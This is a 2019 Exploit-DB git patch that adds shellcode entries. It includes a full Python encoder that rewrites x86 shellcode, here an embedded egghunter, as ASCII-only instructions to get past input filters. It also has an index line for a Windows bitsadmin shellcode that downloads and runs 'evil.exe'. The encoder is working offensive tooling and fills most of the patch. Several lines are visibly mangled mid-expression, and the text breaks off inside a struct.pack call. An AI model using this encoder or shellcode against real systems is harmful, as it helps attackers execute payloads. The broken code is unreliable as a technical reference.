From 5632d13fea797cf6988ad6153cd9cffe30025c38 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 28 Jun 2019 05:01:52 +0000 Subject: [PATCH] DB: 2019-06-28 2 changes to exploits/shellcodes Linux/x86_64 - Reverse(0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode Linux/x86_64 - Reverse (0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode Linux/x86 - ASCII AND_ SUB_ PUSH_ POPAD Encoder Shellcode Windows/x86 - bitsadmin Download and Execute (http://192.168.10.10/evil.exe _c:\evil.exe_) Shellcode (210 Bytes) --- files_shellcodes.csv | 4 +- shellcodes/linux_x86/47040.py | 280 +++++++++++++++++++++++++++++++++ shellcodes/windows_x86/47041.c | 89 +++++++++++ 3 files changed, 372 insertions(+), 1 deletion(-) create mode 100755 shellcodes/linux_x86/47040.py create mode 100644 shellcodes/windows_x86/47041.c diff --git a/files_shellcodes.csv b/files_shellcodes.csv index 39aac8a03..7691aa1a8 100644 --- a/files_shellcodes.csv +++ b/files_shellcodes.csv @@ -971,4 +971,6 @@ id,file,description,date,author,type,platform 46979,shellcodes/linux_x86-64/46979.c,"Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (104 bytes)",2019-06-10,"Aron Mihaljevic",shellcode,linux_x86-64 46994,shellcodes/linux_x86/46994.txt,"Linux/x86 - Reposition + INC encoder with execve(/bin/sh) Shellcode (66 bytes)",2019-06-17,"Jonathan So",shellcode,linux_x86 47008,shellcodes/linux_x86-64/47008.c,"Linux/x86_64 - execve(/bin/sh) Shellcode (22 bytes)",2019-06-18,"Aron Mihaljevic",shellcode,linux_x86-64 -47025,shellcodes/linux_x86-64/47025.c,"Linux/x86_64 - Reverse(0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode",2019-06-24,"Aron Mihaljevic",shellcode,linux_x86-64 +47025,shellcodes/linux_x86-64/47025.c,"Linux/x86_64 - Reverse (0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode",2019-06-24,"Aron Mihaljevic",shellcode,linux_x86-64 +47040,shellcodes/linux_x86/47040.py,"Linux/x86 - ASCII AND_ SUB_ PUSH_ POPAD Encoder Shellcode",2019-06-27,"Petr Javorik",shellcode,linux_x86 +47041,shellcodes/windows_x86/47041.c,"Windows/x86 - bitsadmin Download and Execute (http://192.168.10.10/evil.exe _c:\evil.exe_) Shellcode (210 Bytes)",2019-06-27,"Joseph McDonagh",shellcode,windows_x86 diff --git a/shellcodes/linux_x86/47040.py b/shellcodes/linux_x86/47040.py new file mode 100755 index 000000000..7f6dd41da --- /dev/null +++ b/shellcodes/linux_x86/47040.py @@ -0,0 +1,280 @@ +#!/usr/bin/env python3 + +################################################################################ +# INTRODUCTION +################################################################################ + +# Encoder Title: ASCII shellcode encoder via AND, SUB, PUSH, POPAD +# Date: 26.6.2019 +# Encoder Author: Petr Javorik, www.mmquant.net +# Tested on: Linux ubuntu 3.13.0-32-generic, x86 +# Special thx to: Corelanc0d3r for intro to this technique +# +# Description: +# This encoder is based on egghunter found in https://www.exploit-db.com/exploits/5342 +# Core idea is that every dword can be derived using 3 SUB instructions +# with operands consisting strictly of ASCII compatible bytes. +# +# What it does?: +# Suppose that we want to push \x05\xEB\xD1\x8B (0x8BD1EB05) to the stack. +# Then we can do it as follows: +# +# AND EAX, 3F465456 +# AND EAX, 40392B29 ; Two AND instructions zero EAX +# SUB EAX, 3E716230 ; Subtracting 3 dwords consisting +# SUB EAX, 5D455523 ; of ASCII compatible bytes from 0x00000000 +# SUB EAX, 5E5D7722 ; we get EAX = 0x8BD1EB05 +# PUSH EAX + +# Mandatory bytes: +# \x25 AND EAX, imm32 +# \x2d SUB EAX, imm32 +# \x50 PUSH EAX +# \x61 POPAD + +# How to use: +# Edit the SETTINGS section and simply run as +# ./ASCIIencoder + +# ProTip: +# Take special attention to the memory between the end of decoder instructions +# and the beginning of decoded shellcode. Program flow must seamlessly step over +# this memory. If this "bridge memory area" contains illegal opcodes they can +# be rewritten with additional PUSH instruction appended to the end of generated +# shellcode. Use for example PUSH 0x41414141. + +################################################################################ + +import itertools +import struct +import random +import sys + +assert sys.version_info >= (3, 6) + + +################################################################################ +# CONSTANTS - no changes needed here +################################################################################ + +# ASCII character set +L_CASE = bytearray(range(0x61, 0x7b)) # abcdefghijklmnopqrstuvwxyz +U_CASE = bytearray(range(0x41, 0x5b)) # ABCDEFGHIJKLMNOPQRSTUVWXYZ +NUMBERS = bytearray(range(0x30, 0x3a)) # 0123456789 +SPECIAL_CHARS = bytearray( + itertools.chain( + range(0x21, 0x30), # !"#$%&\'()*+,-. + range(0x3a, 0x41), # :;<=>? + range(0x5b, 0x61), # [\\]^_ + range(0x7b, 0x7f) # {|} + ) +) +ASCII_NOPS = b'\x41\x42\x43\x44' # and many more +ALL_CHARS = (L_CASE + U_CASE + NUMBERS + SPECIAL_CHARS) + +################################################################################ +# SETTINGS - enter shellcode, select character set and bad chars +################################################################################ + +input_shellcode = ( + b'\x8b\xd1\xeb\x05\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e' + b'\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf' + b'\x75\xe7\xff\xe7' +) + +# input_charset = U_CASE + L_CASE +input_charset = ALL_CHARS + +# badchars = b'' +badchars = b'' + +nops = ASCII_NOPS + +################################################################################ +# CORE - no changes needed here +################################################################################ + +class ASCII_Encoder(object): + + def __init__(self, shellcode_, charset_, badchars_, nops_): + + # Constructor args + self.shellcode = bytearray(shellcode_) + self.charset = charset_ + self.badchars = badchars_ + self.nops = nops_ + + # Private vars + self.encoded_dwords = [] + self.twos_comps = [] + self.sub_operands = [] + self.payload = bytearray() + + def encode(self): + + self.align_to_dwords() + self.remove_badchars() + self.derive_dwords_sub() + self.compensate_overflow() + self.derived_dwords_to_sub_operands() + self.twos_comp_check() + self.compile_payload() + + + def align_to_dwords(self): + + # Input shellcode alignment to dword multiples + nop = b'\x90' + pad_count = 4 - (len(self.shellcode) % 4) + if 0 < pad_count < 4: + self.shellcode += nop * pad_count + + def remove_badchars(self): + + for badchar in self.badchars: + self.charset = self.charset.replace(bytes([badchar]), b'') + self.nops = self.nops.replace(bytes([badchar]), b'') + + def derive_dwords_sub(self): + + def get_sub_encoding_bytes(target): + """ + target x y z + 0x100 - (0x21+0x21) = 0xbe + + We need to select x, y, z such that it gives target when summed and all of + x, y, z is ASCII and non-badchar + """ + + # Get all possible solutions + all_xy = list(itertools.combinations_with_replacement(self.charset, 2)) + results = [] + for x, y in all_xy: + z = target - (x + y) + # Get only bytes which are ASCII and non-badchar + if (0 < z < 256) and (z in self.charset): + results.append({ + 'x': x, + 'y': y, + 'z': z, + 'of': True if target >= 0x100 else False + }) + + # Choose random solution + return random.choice(results) + + for dword in struct.iter_unpack('L', twos_comp): + + # Will overflow be used when calculating this byte using 3 SUB instructions? + if byte_ / 3 < min(self.charset): + byte_ += 0x100 + encoded_block.append( + get_sub_encoding_bytes(byte_)) + pass + + self.encoded_dwords.append(encoded_block) + + def compensate_overflow(self): + + # If neighbor lower byte overflow then subtract 1 from max(x, y, z) + for dword in self.encoded_dwords: + for solution, next_solution in zip(dword, dword[1:]): + if next_solution['of']: + max_value_key = max(solution, key=solution.get) + solution[max_value_key] -= 1 + + def derived_dwords_to_sub_operands(self): + + for dword in self.encoded_dwords: + + sub_operand_0 = struct.pack(' 0xffffffff: + sup_operand_sum -= 0x100000000 + assert (twos_comp == sup_operand_sum) + + def compile_payload(self): + + def derive_bytes_and(): + + all_xy = list(itertools.combinations_with_replacement(self.charset, 2)) + results = [] + for x, y in all_xy: + if x + y == 127: + results.append((x, y)) + while 1: + yield random.choice(results) + + def derive_dwords_and(): + + gen_bytes = derive_bytes_and() + bytes_ = [] + for _ in range(0, 4): + bytes_.append(next(gen_bytes)) + + return bytes_ + + # POPAD n times to adjust ESP. + # Decoded shellcode must be written after the decoder stub + self.payload += b'\x61' * (len(self.encoded_dwords)) + + for sub_operand in reversed(self.sub_operands): + + # Clearing EAX instructions with AND instructions + bytes_ = derive_dwords_and() + + self.payload += b'\x25' + struct.pack('